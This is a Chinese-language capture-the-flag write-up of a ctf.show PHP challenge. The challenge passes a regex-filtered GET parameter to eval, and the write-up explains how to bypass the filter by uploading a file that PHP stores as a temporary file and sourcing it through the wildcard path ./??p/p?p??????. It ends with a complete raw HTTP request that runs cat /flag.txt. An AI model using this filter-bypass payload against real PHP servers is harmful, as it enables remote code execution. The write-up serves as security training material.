<?php if(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; highlight_file(__FILE__); if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){ die("cerror"); } if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){ die("serror"); } eval($cmd); } ?>
分析代码可以得到以下关键信息:
- 不允许输入
大写字母
、数字
、小写字母a-o
、小写字母q-z
和$
,换句话说,可以输入的仅有小写字母p
和某些特殊符号。 - 被过滤了大部分特殊符号。可以用的还有
?
、.
、/
、`
等。
因为过滤了~
和^
,异或和取反都不用考虑了,学习Y1ng师傅的文章学到了新姿势:
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的
upload_tmp_dir
就是这个临时文件的保存目录。linux下默认为/tmp
。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX
基本思路就是上传?,然后利用eval($cmd)
去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?
,构造./??p/p?p??????
就能读到这个文件。
还有需要注意的是命令执行,除了常见的system('ls');
外,还可以写成?><?=`ls`;
,前面的?>
意思是闭合前面的语句。<?=
是echo()的别名用法,不需要开启short_open_tag。eg:
payload如下,.
命令完全等于source
命令。
POST /index.php?cmd=?><?=.+/??p/p?p??????
; HTTP/1.1
Host: 018ef173-c1ff-4866-b35c-a4cc04fcef19.chall.ctf.show
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Content-Length: 255
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="shawroot.txt"
Content-Type: text/plain
#! /bin/bash
cat /flag.txt
-----------------------------5642920497686823912130808832--
⚪ 参考: